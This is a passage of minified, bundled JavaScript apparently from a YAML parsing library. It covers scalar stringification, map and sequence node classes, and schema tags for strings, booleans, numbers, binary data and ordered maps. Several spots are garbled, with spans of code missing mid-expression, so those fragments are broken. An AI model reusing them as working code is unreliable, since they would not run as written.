String(this.value)}};ue.BLOCK_FOLDED="BLOCK_FOLDED";ue.BLOCK_LITERAL="BLOCK_LITERAL";ue.PLAIN="PLAIN";ue.QUOTE_DOUBLE="QUOTE_DOUBLE";ue.QUOTE_SINGLE="QUOTE_SINGLE"});function _Q(t,e,n){if(e){let r=n.filter(s=>s.tag===e),i=r.find(s=>!s.format)??r[0];if(!i)throw new Error(`Tag ${e} not found`);return i}return n.find(r=>r.identify?.(t)&&!r.format)}function ms(t,e,n){if(dr(t)&&(t=t.contents),Le(t))return t;if(Me(t)){let f=n.schema[li].createNode?.(n.schema,null,n);return f.items.push(t),f}(t instanceof String||t instanceof Number||t instanceof Boolean||typeof BigInt<"u"&&t instanceof BigInt)&&(t=t.valueOf());let{aliasDuplicateObjects:r,onAnchor:i,onTagObj:s,schema:o,sourceObjects:a}=n,l;if(r&&t&&typeof t=="object"){if(l=a.get(t),l)return l.anchor??(l.anchor=i(t)),new ci(l.anchor);l={anchor:null,node:null},a.set(t,l)}e?.startsWith("!!")&&(e=EQ+e.slice(2));let c=_Q(t,e,o.tags);if(!c){if(t&&typeof t.toJSON=="function"&&(t=t.toJSON()),!t||typeof t!="object"){let f=new ue(t);return l&&(l.node=f),f}c=t instanceof Map?o[li]:Symbol.iterator in Object(t)?o[ds]:o[li]}s&&(s(c),delete n.onTagObj);let u=c?.createNode?c.createNode(n.schema,t,n):typeof c?.nodeClass?.from=="function"?c.nodeClass.from(n.schema,t,n):new ue(t);return e?u.tag=e:c.default||(u.tag=c.tag),l&&(l.node=u),u}var EQ,vh=se(()=>{m();bh();qe();Pt();EQ="tag:yaml.org,2002:"});function kh(t,e,n){let r=n;for(let i=e.length-1;i>=0;--i){let s=e[i];if(typeof s=="number"&&Number.isInteger(s)&&s>=0){let o=[];o[s]=r,r=o}else r=new Map([[s,r]])}return ms(r,void 0,{aliasDuplicateObjects:!1,keepUndefined:!1,onAnchor:()=>{throw new Error("This should not happen, please report a bug.")},schema:t,sourceObjects:new Map})}var Pc,Oc,rg=se(()=>{m();vh();qe();eg();Pc=t=>t==null||typeof t=="object"&&!!t[Symbol.iterator]().next().done,Oc=class extends fo{constructor(e,n){super(e),Object.defineProperty(this,"schema",{value:n,configurable:!0,enumerable:!1,writable:!0})}clone(e){let n=Object.create(Object.getPrototypeOf(this),Object.getOwnPropertyDescriptors(this));return e&&(n.schema=e),n.items=n.items.map(r=>Le(r)||Me(r)?r.clone(e):r),this.range&&(n.range=this.range.slice()),n}addIn(e,n){if(Pc(e))this.add(n);else{let[r,...i]=e,s=this.get(r,!0);if(We(s))s.addIn(i,n);else if(s===void 0&&this.schema)this.set(r,kh(this.schema,i,n));else throw new Error(`Expected YAML collection at ${r}. Remaining path: ${i}`)}}deleteIn(e){let[n,...r]=e;if(r.length===0)return this.delete(n);let i=this.get(n,!0);if(We(i))return i.deleteIn(r);throw new Error(`Expected YAML collection at ${n}. Remaining path: ${r}`)}getIn(e,n){let[r,...i]=e,s=this.get(r,!0);return i.length===0?!n&&Ie(s)?s.value:s:We(s)?s.getIn(i,n):void 0}hasAllNullValues(e){return this.items.every(n=>{if(!Me(n))return!1;let r=n.value;return r==null||e&&Ie(r)&&r.value==null&&!r.commentBefore&&!r.comment&&!r.tag})}hasIn(e){let[n,...r]=e;if(r.length===0)return this.has(n);let i=this.get(n,!0);return We(i)?i.hasIn(r):!1}setIn(e,n){let[r,...i]=e;if(i.length===0)this.set(r,n);else{let s=this.get(r,!0);if(We(s))s.setIn(i,n);else if(s===void 0&&this.schema)this.set(r,kh(this.schema,i,n));else throw new Error(`Expected YAML collection at ${r}. Remaining path: ${i}`)}}}});function Lr(t,e){return/^\n+$/.test(t)?t.substring(1):e?t.replace(/^(?! *$)/gm,e):t}var BM,Li,xh=se(()=>{m();BM=t=>t.replace(/^(?!$)(?: $)?/gm,"#");Li=(t,e,n)=>t.endsWith(` -`)?Lr(n,e):n.includes(` -`)?` -`+Lr(n,e):(t.endsWith(" ")?"":" ")+n});function Dh(t,e,n="flow",{indentAtStart:r,lineWidth:i=80,minContentWidth:s=20,onFold:o,onOverflow:a}={}){if(!i||i<0)return t;ii-Math.max(2,s)?c.push(0):f=i-r);let h,d,p=!1,g=-1,y=-1,w=-1;n===ig&&(g=$M(t,g,e.length),g!==-1&&(f=g+l));for(let S;S=t[g+=1];){if(n===Sh&&S==="\\"){switch(y=g,t[g+1]){case"x":g+=3;break;case"u":g+=5;break;case"U":g+=9;break;default:g+=1}w=g}if(S===` -`)n===ig&&(g=$M(t,g,e.length)),f=g+e.length+l,h=void 0;else{if(S===" "&&d&&d!==" "&&d!==` -`&&d!==" "){let D=t[g+1];D&&D!==" "&&D!==` -`&&D!==" "&&(h=g)}if(g>=f)if(h)c.push(h),f=h+l,h=void 0;else if(n===Sh){for(;d===" "||d===" ";)d=S,S=t[g+=1],p=!0;let D=g>w+1?g-2:y-1;if(u[D])return t;c.push(D),u[D]=!0,f=D+l,h=void 0}else p=!0}d=S}if(p&&a&&a(),c.length===0)return t;o&&o();let b=t.slice(0,c[0]);for(let S=0;S{m();P1="flow",ig="block",Sh="quoted"});function CQ(t,e,n){if(!e||e<0)return!1;let r=e-n,i=t.length;if(i<=r)return!1;for(let s=0,o=0;sr)return!0;if(o=s+1,i-o<=r)return!1}return!0}function Eh(t,e){let n=JSON.stringify(t);if(e.options.doubleQuotedAsJSON)return n;let{implicitKey:r}=e,i=e.options.doubleQuotedMinMultiLineLength,s=e.indent||(ag(t)?" ":""),o="",a=0;for(let l=0,c=n[l];c;c=n[++l])if(c===" "&&n[l+1]==="\\"&&n[l+2]==="n"&&(o+=n.slice(a,l)+"\\ ",l+=1,a=l,c="\\"),c==="\\")switch(n[l+1]){case"u":{o+=n.slice(a,l);let u=n.substr(l+2,4);switch(u){case"0000":o+="\\0";break;case"0007":o+="\\a";break;case"000b":o+="\\v";break;case"001b":o+="\\e";break;case"0085":o+="\\N";break;case"00a0":o+="\\_";break;case"2028":o+="\\L";break;case"2029":o+="\\P";break;default:u.substr(0,2)==="00"?o+="\\x"+u.substr(2):o+=n.substr(l,6)}l+=5,a=l+1}break;case"n":if(r||n[l+2]==='"'||n.length -`;let f,h;for(h=n.length;h>0;--h){let k=n[h-1];if(k!==` -`&&k!==" "&&k!==" ")break}let d=n.substring(h),p=d.indexOf(` -`);p===-1?f="-":n===d||p!==d.length-1?(f="+",s&&s()):f="",d&&(n=n.slice(0,-d.length),d[d.length-1]===` -`&&(d=d.slice(0,-1)),d=d.replace(M1,`$&${c}`));let g=!1,y,w=-1;for(y=0;y{E=!0});let _=Dh(`${b}${k}${d}`,c,ig,v);if(!E)return`>${D} -${c}${_}`}return n=n.replace(/\n+/g,`$&${c}`),`|${D} -${c}${b}${n}${d}`}function TQ(t,e,n,r){let{type:i,value:s}=t,{actualString:o,implicitKey:a,indent:l,indentStep:c,inFlow:u}=e;if(a&&s.includes(` -`)||u&&/[[\]{},]/.test(s))return Nc(s,e);if(/^[\n\t ,[\]{}#&*!|>'"%@`]|^[?-]$|^[?-][ \t]|[\n:][ \t]|[ \t]\n|[\n\t ]#|[\n\t :]$/.test(s))return a||u||!s.includes(` -`)?Nc(s,e):sg(t,e,n,r);if(!a&&!u&&i!==ue.PLAIN&&s.includes(` -`))return sg(t,e,n,r);if(ag(s)){if(l==="")return e.forceBlockIndent=!0,sg(t,e,n,r);if(a&&l===c)return Nc(s,e)}let f=s.replace(/\n+/g,`$& -${l}`);if(o){let h=g=>g.default&&g.tag!=="tag:yaml.org,2002:str"&&g.test?.test(f),{compat:d,tags:p}=e.doc.schema;if(p.some(h)||d?.some(h))return Nc(s,e)}return a?f:Dh(f,l,P1,og(e,!1))}function ps(t,e,n,r){let{implicitKey:i,inFlow:s}=e,o=typeof t.value=="string"?t:Object.assign({},t,{value:String(t.value)}),{type:a}=t;a!==ue.QUOTE_DOUBLE&&/[\x00-\x08\x0b-\x1f\x7f-\x9f\u{D800}-\u{DFFF}]/u.test(o.value)&&(a=ue.QUOTE_DOUBLE);let l=u=>{switch(u){case ue.BLOCK_FOLDED:case ue.BLOCK_LITERAL:return i||s?Nc(o.value,e):sg(o,e,n,r);case ue.QUOTE_DOUBLE:return Eh(o.value,e);case ue.QUOTE_SINGLE:return N1(o.value,e);case ue.PLAIN:return TQ(o,e,n,r);default:return null}},c=l(a);if(c===null){let{defaultKeyType:u,defaultStringType:f}=e.options,h=i&&u||f;if(c=l(h),c===null)throw new Error(`Unsupported default string type ${h}`)}return c}var og,ag,M1,_h=se(()=>{m();Pt();UM();og=(t,e)=>({indentAtStart:e?t.indent.length:t.indentAtStart,lineWidth:t.options.lineWidth,minContentWidth:t.options.minContentWidth}),ag=t=>/^(%|---|\.\.\.)/m.test(t);try{M1=new RegExp(`(^|(?s.tag===e.tag);if(i.length>0)return i.find(s=>s.format===e.format)??i[0]}let n,r;if(Ie(e)){r=e.value;let i=t.filter(s=>s.identify?.(r));if(i.length>1){let s=i.filter(o=>o.test);s.length>0&&(i=s)}n=i.find(s=>s.format===e.format)??i.find(s=>!s.format)}else r=e,n=t.find(i=>i.nodeClass&&r instanceof i.nodeClass);if(!n){let i=r?.constructor?.name??(r===null?"null":typeof r);throw new Error(`Tag not resolved for ${i} value`)}return n}function IQ(t,e,{anchors:n,doc:r}){if(!r.directives)return"";let i=[],s=(Ie(t)||We(t))&&t.anchor;s&&Jp(s)&&(n.add(s),i.push(`&${s}`));let o=t.tag??(e.default?null:e.tag);return o&&i.push(r.directives.tagString(o)),i.join(" ")}function gs(t,e,n,r){if(Me(t))return t.toString(e,n,r);if(Un(t)){if(e.doc.directives)return t.toString(e);if(e.resolvedAliases?.has(t))throw new TypeError("Cannot stringify circular structure without alias nodes");e.resolvedAliases?e.resolvedAliases.add(t):e.resolvedAliases=new Set([t]),t=t.resolve(e.doc)}let i,s=Le(t)?t:e.doc.createNode(t,{onTagObj:l=>i=l});i??(i=FQ(e.doc.schema.tags,s));let o=IQ(s,i,e);o.length>0&&(e.indentAtStart=(e.indentAtStart??0)+o.length+1);let a=typeof i.stringify=="function"?i.stringify(s,e,n,r):Ie(s)?ps(s,e,n,r):s.toString(e,n,r);return o?Ie(s)||a[0]==="{"||a[0]==="["?`${o} ${a}`:`${o} -${e.indent}${a}`:a}var Ch=se(()=>{m();Xp();qe();xh();_h()});function jM({key:t,value:e},n,r,i){let{allNullValues:s,doc:o,indent:a,indentStep:l,options:{commentString:c,indentSeq:u,simpleKeys:f}}=n,h=Le(t)&&t.comment||null;if(f){if(h)throw new Error("With simple keys, key nodes cannot have comments");if(We(t)||!Le(t)&&typeof t=="object"){let v="With simple keys, collection cannot be used as a key value";throw new Error(v)}}let d=!f&&(!t||h&&e==null&&!n.inFlow||We(t)||(Ie(t)?t.type===ue.BLOCK_FOLDED||t.type===ue.BLOCK_LITERAL:typeof t=="object"));n=Object.assign({},n,{allNullValues:!1,implicitKey:!d&&(f||!s),indent:a+l});let p=!1,g=!1,y=gs(t,n,()=>p=!0,()=>g=!0);if(!d&&!n.inFlow&&y.length>1024){if(f)throw new Error("With simple keys, single line scalar must not span more than 1024 characters");d=!0}if(n.inFlow){if(s||e==null)return p&&r&&r(),y===""?"?":d?`? ${y}`:y}else if(s&&!f||e==null&&d)return y=`? ${y}`,h&&!p?y+=Li(y,n.indent,c(h)):g&&i&&i(),y;p&&(h=null),d?(h&&(y+=Li(y,n.indent,c(h))),y=`? ${y} -${a}:`):(y=`${y}:`,h&&(y+=Li(y,n.indent,c(h))));let w,b,S;Le(e)?(w=!!e.spaceBefore,b=e.commentBefore,S=e.comment):(w=!1,b=null,S=null,e&&typeof e=="object"&&(e=o.createNode(e))),n.implicitKey=!1,!d&&!h&&Ie(e)&&(n.indentAtStart=y.length+1),g=!1,!u&&l.length>=2&&!n.inFlow&&!d&&pr(e)&&!e.flow&&!e.tag&&!e.anchor&&(n.indent=n.indent.substring(2));let D=!1,k=gs(e,n,()=>D=!0,()=>g=!0),E=" ";if(h||w||b){if(E=w?` -`:"",b){let v=c(b);E+=` -${Lr(v,n.indent)}`}k===""&&!n.inFlow?E===` -`&&S&&(E=` - -`):E+=` -${n.indent}`}else if(!d&&We(e)){let v=k[0],_=k.indexOf(` -`),C=_!==-1,A=n.inFlow??e.flow??e.items.length===0;if(C||!A){let P=!1;if(C&&(v==="&"||v==="!")){let N=k.indexOf(" ");v==="&"&&N!==-1&&N<_&&k[N+1]==="!"&&(N=k.indexOf(" ",N+1)),(N===-1||_{m();qe();Pt();Ch();xh()});function cg(t,e){(t==="debug"||t==="warn")&&console.warn(e)}var R1=se(()=>{m()});function L1(t,e,n){if(n=t&&Un(n)?n.resolve(t.doc):n,pr(n))for(let r of n.items)z1(t,e,r);else if(Array.isArray(n))for(let r of n)z1(t,e,r);else z1(t,e,n)}function z1(t,e,n){let r=t&&Un(n)?n.resolve(t.doc):n;if(!mr(r))throw new Error("Merge sources must be maps or map aliases");let i=r.toJSON(null,t,Map);for(let[s,o]of i)e instanceof Map?e.has(s)||e.set(s,o):e instanceof Set?e.add(s):Object.prototype.hasOwnProperty.call(e,s)||Object.defineProperty(e,s,{value:o,writable:!0,enumerable:!0,configurable:!0});return e}var ug,ui,VM,fg=se(()=>{m();qe();Pt();ug="<<",ui={identify:t=>t===ug||typeof t=="symbol"&&t.description===ug,default:"key",tag:"tag:yaml.org,2002:merge",test:/^<<$/,resolve:()=>Object.assign(new ue(Symbol(ug)),{addToJSMap:L1}),stringify:()=>ug},VM=(t,e)=>(ui.identify(e)||Ie(e)&&(!e.type||e.type===ue.PLAIN)&&ui.identify(e.value))&&t?.doc.schema.tags.some(n=>n.tag===ui.tag&&n.default)});function hg(t,e,{key:n,value:r}){if(Le(n)&&n.addToJSMap)n.addToJSMap(t,e,r);else if(VM(t,n))L1(t,e,r);else{let i=Bt(n,"",t);if(e instanceof Map)e.set(i,Bt(r,i,t));else if(e instanceof Set)e.add(i);else{let s=AQ(n,i,t),o=Bt(r,s,t);s in e?Object.defineProperty(e,s,{value:o,writable:!0,enumerable:!0,configurable:!0}):e[s]=o}}return e}function AQ(t,e,n){if(e===null)return"";if(typeof e!="object")return String(e);if(Le(t)&&n?.doc){let r=lg(n.doc,{});r.anchors=new Set;for(let s of n.anchors.keys())r.anchors.add(s.anchor);r.inFlow=!0,r.inStringifyKey=!0;let i=t.toString(r);if(!n.mapKeyWarned){let s=JSON.stringify(i);s.length>40&&(s=s.substring(0,36)+'..."'),cg(n.doc.options.logLevel,`Keys with collection values will be stringified due to JS Object restrictions: ${s}. Set mapAsMap: true to use object keys.`),n.mapKeyWarned=!0}return i}return JSON.stringify(e)}var B1=se(()=>{m();R1();fg();Ch();qe();uo()});function Mc(t,e,n){let r=ms(t,void 0,n),i=ms(e,void 0,n);return new ft(r,i)}var ft,ho=se(()=>{m();vh();qM();B1();qe();ft=class t{constructor(e,n=null){Object.defineProperty(this,xn,{value:T1}),this.key=e,this.value=n}clone(e){let{key:n,value:r}=this;return Le(n)&&(n=n.clone(e)),Le(r)&&(r=r.clone(e)),new t(n,r)}toJSON(e,n){let r=n?.mapAsMap?new Map:{};return hg(n,r,this)}toString(e,n,r){return e?.doc?jM(this,e,n,r):JSON.stringify(this)}}});function mg(t,e,n){return(e.inFlow??t.flow?PQ:OQ)(t,e,n)}function OQ({comment:t,items:e},n,{blockItemPrefix:r,flowChars:i,itemIndent:s,onChompKeep:o,onComment:a}){let{indent:l,options:{commentString:c}}=n,u=Object.assign({},n,{indent:s,type:null}),f=!1,h=[];for(let p=0;py=null,()=>f=!0);y&&(w+=Li(w,s,c(y))),f&&y&&(f=!1),h.push(r+w)}let d;if(h.length===0)d=i.start+i.end;else{d=h[0];for(let p=1;py=null);c||(c=f.length>u||w.includes(` -`)),p0&&(c||(c=f.reduce((b,S)=>b+S.length+2,2)+(w.length+2)>e.options.lineWidth)),c&&(w+=",")),y&&(w+=Li(w,r,a(y))),f.push(w),u=f.length}let{start:h,end:d}=n;if(f.length===0)return h+d;if(!c){let p=f.reduce((g,y)=>g+y.length+2,2);c=e.options.lineWidth>0&&p>e.options.lineWidth}if(c){let p=h;for(let g of f)p+=g?` -${s}${i}${g}`:` -`;return`${p} -${i}${d}`}else return`${h}${o}${f.join(" ")}${o}${d}`}function dg({indent:t,options:{commentString:e}},n,r,i){if(r&&i&&(r=r.replace(/^\n+/,"")),r){let s=Lr(e(r),t);n.push(s.trimStart())}}var $1=se(()=>{m();qe();Ch();xh()});function mo(t,e){let n=Ie(e)?e.value:e;for(let r of t)if(Me(r)&&(r.key===e||r.key===n||Ie(r.key)&&r.key.value===n))return r}var wt,po=se(()=>{m();$1();B1();rg();qe();ho();Pt();wt=class extends Oc{static get tagName(){return"tag:yaml.org,2002:map"}constructor(e){super(li,e),this.items=[]}static from(e,n,r){let{keepUndefined:i,replacer:s}=r,o=new this(e),a=(l,c)=>{if(typeof s=="function")c=s.call(n,l,c);else if(Array.isArray(s)&&!s.includes(l))return;(c!==void 0||i)&&o.items.push(Mc(l,c,r))};if(n instanceof Map)for(let[l,c]of n)a(l,c);else if(n&&typeof n=="object")for(let l of Object.keys(n))a(l,n[l]);return typeof e.sortMapEntries=="function"&&o.items.sort(e.sortMapEntries),o}add(e,n){let r;Me(e)?r=e:!e||typeof e!="object"||!("key"in e)?r=new ft(e,e?.value):r=new ft(e.key,e.value);let i=mo(this.items,r.key),s=this.schema?.sortMapEntries;if(i){if(!n)throw new Error(`Key ${r.key} already set`);Ie(i.value)&&ng(r.value)?i.value.value=r.value:i.value=r.value}else if(s){let o=this.items.findIndex(a=>s(r,a)<0);o===-1?this.items.push(r):this.items.splice(o,0,r)}else this.items.push(r)}delete(e){let n=mo(this.items,e);return n?this.items.splice(this.items.indexOf(n),1).length>0:!1}get(e,n){let i=mo(this.items,e)?.value;return(!n&&Ie(i)?i.value:i)??void 0}has(e){return!!mo(this.items,e)}set(e,n){this.add(new ft(e,n),!0)}toJSON(e,n,r){let i=r?new r:n?.mapAsMap?new Map:{};n?.onCreate&&n.onCreate(i);for(let s of this.items)hg(n,i,s);return i}toString(e,n,r){if(!e)return JSON.stringify(this);for(let i of this.items)if(!Me(i))throw new Error(`Map items must all be pairs; found ${JSON.stringify(i)} instead`);return!e.allNullValues&&this.hasAllNullValues(!1)&&(e=Object.assign({},e,{allNullValues:!0})),mg(this,e,{blockItemPrefix:"",flowChars:{start:"{",end:"}"},itemIndent:e.indent||"",onChompKeep:r,onComment:n})}}});var fi,Rc=se(()=>{m();qe();po();fi={collection:"map",default:!0,nodeClass:wt,tag:"tag:yaml.org,2002:map",resolve(t,e){return mr(t)||e("Expected a mapping for this tag"),t},createNode:(t,e,n)=>wt.from(t,e,n)}});function pg(t){let e=Ie(t)?t.value:t;return e&&typeof e=="string"&&(e=Number(e)),typeof e=="number"&&Number.isInteger(e)&&e>=0?e:null}var Zt,go=se(()=>{m();vh();$1();rg();qe();Pt();uo();Zt=class extends Oc{static get tagName(){return"tag:yaml.org,2002:seq"}constructor(e){super(ds,e),this.items=[]}add(e){this.items.push(e)}delete(e){let n=pg(e);return typeof n!="number"?!1:this.items.splice(n,1).length>0}get(e,n){let r=pg(e);if(typeof r!="number")return;let i=this.items[r];return!n&&Ie(i)?i.value:i}has(e){let n=pg(e);return typeof n=="number"&&n{m();qe();go();hi={collection:"seq",default:!0,nodeClass:Zt,tag:"tag:yaml.org,2002:seq",resolve(t,e){return pr(t)||e("Expected a sequence for this tag"),t},createNode:(t,e,n)=>Zt.from(t,e,n)}});var yo,Th=se(()=>{m();_h();yo={identify:t=>typeof t=="string",default:!0,tag:"tag:yaml.org,2002:str",resolve:t=>t,stringify(t,e,n,r){return e=Object.assign({actualString:!0},e),ps(t,e,n,r)}}});var Aa,gg=se(()=>{m();Pt();Aa={identify:t=>t==null,createNode:()=>new ue(null),default:!0,tag:"tag:yaml.org,2002:null",test:/^(?:~|[Nn]ull|NULL)?$/,resolve:()=>new ue(null),stringify:({source:t},e)=>typeof t=="string"&&Aa.test.test(t)?t:e.options.nullStr}});var Fh,U1=se(()=>{m();Pt();Fh={identify:t=>typeof t=="boolean",default:!0,tag:"tag:yaml.org,2002:bool",test:/^(?:[Tt]rue|TRUE|[Ff]alse|FALSE)$/,resolve:t=>new ue(t[0]==="t"||t[0]==="T"),stringify({source:t,value:e},n){if(t&&Fh.test.test(t)){let r=t[0]==="t"||t[0]==="T";if(e===r)return t}return e?n.options.trueStr:n.options.falseStr}}});function fn({format:t,minFractionDigits:e,tag:n,value:r}){if(typeof r=="bigint")return String(r);let i=typeof r=="number"?r:Number(r);if(!isFinite(i))return isNaN(i)?".nan":i<0?"-.inf":".inf";let s=Object.is(r,-0)?"-0":JSON.stringify(r);if(!t&&e&&(!n||n==="tag:yaml.org,2002:float")&&/^\d/.test(s)){let o=s.indexOf(".");o<0&&(o=s.length,s+=".");let a=e-(s.length-o-1);for(;a-- >0;)s+="0"}return s}var Lc=se(()=>{m()});var yg,wg,bg,j1=se(()=>{m();Pt();Lc();yg={identify:t=>typeof t=="number",default:!0,tag:"tag:yaml.org,2002:float",test:/^(?:[-+]?\.(?:inf|Inf|INF)|\.nan|\.NaN|\.NAN)$/,resolve:t=>t.slice(-3).toLowerCase()==="nan"?NaN:t[0]==="-"?Number.NEGATIVE_INFINITY:Number.POSITIVE_INFINITY,stringify:fn},wg={identify:t=>typeof t=="number",default:!0,tag:"tag:yaml.org,2002:float",format:"EXP",test:/^[-+]?(?:\.[0-9]+|[0-9]+(?:\.[0-9]*)?)[eE][-+]?[0-9]+$/,resolve:t=>parseFloat(t),stringify(t){let e=Number(t.value);return isFinite(e)?e.toExponential():fn(t)}},bg={identify:t=>typeof t=="number",default:!0,tag:"tag:yaml.org,2002:float",test:/^[-+]?(?:\.[0-9]+|[0-9]+\.[0-9]*)$/,resolve(t){let e=new ue(parseFloat(t)),n=t.indexOf(".");return n!==-1&&t[t.length-1]==="0"&&(e.minFractionDigits=t.length-n-1),e},stringify:fn}});function HM(t,e,n){let{value:r}=t;return vg(r)&&r>=0?n+r.toString(e):fn(t)}var vg,q1,kg,xg,Sg,V1=se(()=>{m();Lc();vg=t=>typeof t=="bigint"||Number.isInteger(t),q1=(t,e,n,{intAsBigInt:r})=>r?BigInt(t):parseInt(t.substring(e),n);kg={identify:t=>vg(t)&&t>=0,default:!0,tag:"tag:yaml.org,2002:int",format:"OCT",test:/^0o[0-7]+$/,resolve:(t,e,n)=>q1(t,2,8,n),stringify:t=>HM(t,8,"0o")},xg={identify:vg,default:!0,tag:"tag:yaml.org,2002:int",test:/^[-+]?[0-9]+$/,resolve:(t,e,n)=>q1(t,0,10,n),stringify:fn},Sg={identify:t=>vg(t)&&t>=0,default:!0,tag:"tag:yaml.org,2002:int",format:"HEX",test:/^0x[0-9a-fA-F]+$/,resolve:(t,e,n)=>q1(t,2,16,n),stringify:t=>HM(t,16,"0x")}});var WM,GM=se(()=>{m();Rc();gg();zc();Th();U1();j1();V1();WM=[fi,hi,yo,Aa,Fh,kg,xg,Sg,yg,wg,bg]});function QM(t){return typeof t=="bigint"||Number.isInteger(t)}var Dg,NQ,MQ,KM,ZM=se(()=>{m();Pt();Rc();zc();Dg=({value:t})=>JSON.stringify(t),NQ=[{identify:t=>typeof t=="string",default:!0,tag:"tag:yaml.org,2002:str",resolve:t=>t,stringify:Dg},{identify:t=>t==null,createNode:()=>new ue(null),default:!0,tag:"tag:yaml.org,2002:null",test:/^null$/,resolve:()=>null,stringify:Dg},{identify:t=>typeof t=="boolean",default:!0,tag:"tag:yaml.org,2002:bool",test:/^true$|^false$/,resolve:t=>t==="true",stringify:Dg},{identify:QM,default:!0,tag:"tag:yaml.org,2002:int",test:/^-?(?:0|[1-9][0-9]*)$/,resolve:(t,e,{intAsBigInt:n})=>n?BigInt(t):parseInt(t,10),stringify:({value:t})=>QM(t)?t.toString():JSON.stringify(t)},{identify:t=>typeof t=="number",default:!0,tag:"tag:yaml.org,2002:float",test:/^-?(?:0|[1-9][0-9]*)(?:\.[0-9]*)?(?:[eE][-+]?[0-9]+)?$/,resolve:t=>parseFloat(t),stringify:Dg}],MQ={default:!0,tag:"",test:/^/,resolve(t,e){return e(`Unresolved plain scalar ${JSON.stringify(t)}`),t}},KM=[fi,hi].concat(NQ,MQ)});var Ih,H1=se(()=>{m();Pt();_h();Ih={identify:t=>t instanceof Uint8Array,default:!1,tag:"tag:yaml.org,2002:binary",resolve(t,e){if(typeof atob=="function"){let n=atob(t.replace(/[\n\r]/g,"")),r=new Uint8Array(n.length);for(let i=0;i1&&e("Each pair must have its own sequence indicator");let i=r.items[0]||new ft(new ue(null));if(r.commentBefore&&(i.key.commentBefore=i.key.commentBefore?`${r.commentBefore} -${i.key.commentBefore}`:r.commentBefore),r.comment){let s=i.value??i.key;s.comment=s.comment?`${r.comment} -${s.comment}`:r.comment}r=i}t.items[n]=Me(r)?r:new ft(r)}}else e("Expected a sequence for this tag");return t}function G1(t,e,n){let{replacer:r}=n,i=new Zt(t);i.tag="tag:yaml.org,2002:pairs";let s=0;if(e&&Symbol.iterator in Object(e))for(let o of e){typeof r=="function"&&(o=r.call(e,String(s++),o));let a,l;if(Array.isArray(o))if(o.length===2)a=o[0],l=o[1];else throw new TypeError(`Expected [key, value] tuple: ${o}`);else if(o&&o instanceof Object){let c=Object.keys(o);if(c.length===1)a=c[0],l=o[a];else throw new TypeError(`Expected tuple with one key, not ${c.length} keys`)}else a=o;i.items.push(Mc(a,l,n))}return i}var Ah,Eg=se(()=>{m();qe();ho();Pt();go();Ah={collection:"seq",default:!1,tag:"tag:yaml.org,2002:pairs",resolve:W1,createNode:G1}});var Bc,Oh,Q1=se(()=>{m();qe();uo();po();go();Eg();Bc=class t extends Zt{constructor(){super(),this.add=wt.prototype.add.bind(this),this.delete=wt.prototype.delete.bind(this),this.get=wt.prototype.get.bind(this),this.has=wt.prototype.has.bind(this),this.set=wt.prototype.set.bind(this),this.tag=t.tag}toJSON(e,n){if(!n)return super.toJSON(e);let r=new Map;n?.onCreate&&n.onCreate(r);for(let i of this.items){let s,o;if(Me(i)?(s=Bt(i.key,"",n),o=Bt(i.value,s,n)):s=Bt(i,"",n),r.has(s))throw new Error("Ordered maps must not include duplicate keys");r.set(s,o)}return r}static from(e,n,r){let i=G1(e,n,r),s=new this;return s.items=i.items,s}};Bc.tag="tag:yaml.org,2002:omap";Oh={collection:"seq",identify:t=>t instanceof Map,nodeClass:Bc,default:!1,tag:"tag:yaml.org,2002:omap",resolve(t,e){let n=W1(t,e),r=[];for(let{key:i}of n.items)Ie(i)&&(r.includes(i.value)?e(`Ordered maps must not include duplicate keys: ${i.value}`):r.push(i.value));return Object.assign(new Bc,n)},createNode:(t,e,n)=>Bc.from(t,e,n)}});function YM({value:t,source:e},n){return e&&(t?K1:Z1).test.test(e)?e:t?n.options.trueStr:n.options.falseStr}var K1,Z1,JM=se(()=>{m();Pt();K1={identify:t=>t===!0,default:!0,tag:"tag:yaml.org,2002:bool",test:/^(?:Y|y|[Yy]es|YES|[Tt]rue|TRUE|[Oo]n|ON)$/,resolve:()=>new ue(!0),stringify:YM},Z1={identify:t=>t===!1,default:!0,tag:"tag:yaml.org,2002:bool",test:/^(?:N|n|[Nn]o|NO|[Ff]alse|FALSE|[Oo]ff|OFF)$/,resolve:()=>new ue(!1),stringify:YM}});var XM,eR,tR,nR=se(()=>{m();Pt();Lc();XM={identify:t=>typeof t=="number",default:!0,tag:"tag:yaml.org,2002:float",test:/^(?:[-+]?\.(?:inf|Inf|INF)|\.nan|\.NaN|\.NAN)$/,resolve:t=>t.slice(-3).toLowerCase()==="nan"?NaN:t[0]==="-"?Number.NEGATIVE_INFINITY:Number.POSITIVE_INFINITY,stringify:fn},eR={identify:t=>typeof t=="number",default:!0,tag:"tag:yaml.org,2002:float",format:"EXP",test:/^[-+]?(?:[0-9][0-9_]*)?(?:\.[0-9_]*)?[eE][-+]?[0-9]+$/,resolve:t=>parseFloat(t.replace(/_/g,"")),stringify(t){let e=Number(t.value);return isFinite(e)?e.toExponential():fn(t)}},tR={identify:t=>typeof t=="number",default:!0,tag:"tag:yaml.org,2002:float",test:/^[-+]?(?:[0-9][0-9_]*)?\.[0-9_]*$/,resolve(t){let e=new ue(parseFloat(t.replace(/_/g,""))),n=t.indexOf(".");if(n!==-1){let r=t.substring(n+1).replace(/_/g,"");r[r.length-1]==="0"&&(e.minFractionDigits=r.length)}return e},stringify:fn}});function _g(t,e,n,{intAsBigInt:r}){let i=t[0];if((i==="-"||i==="+")&&(e+=1),t=t.substring(e).replace(/_/g,""),r){switch(n){case 2:t=`0b${t}`;break;case 8:t=`0o${t}`;break;case 16:t=`0x${t}`;break}let o=BigInt(t);return i==="-"?BigInt(-1)*o:o}let s=parseInt(t,n);return i==="-"?-1*s:s}function Y1(t,e,n){let{value:r}=t;if(Ph(r)){let i=r.toString(e);return r<0?"-"+n+i.substr(1):n+i}return fn(t)}var Ph,rR,iR,sR,oR,aR=se(()=>{m();Lc();Ph=t=>typeof 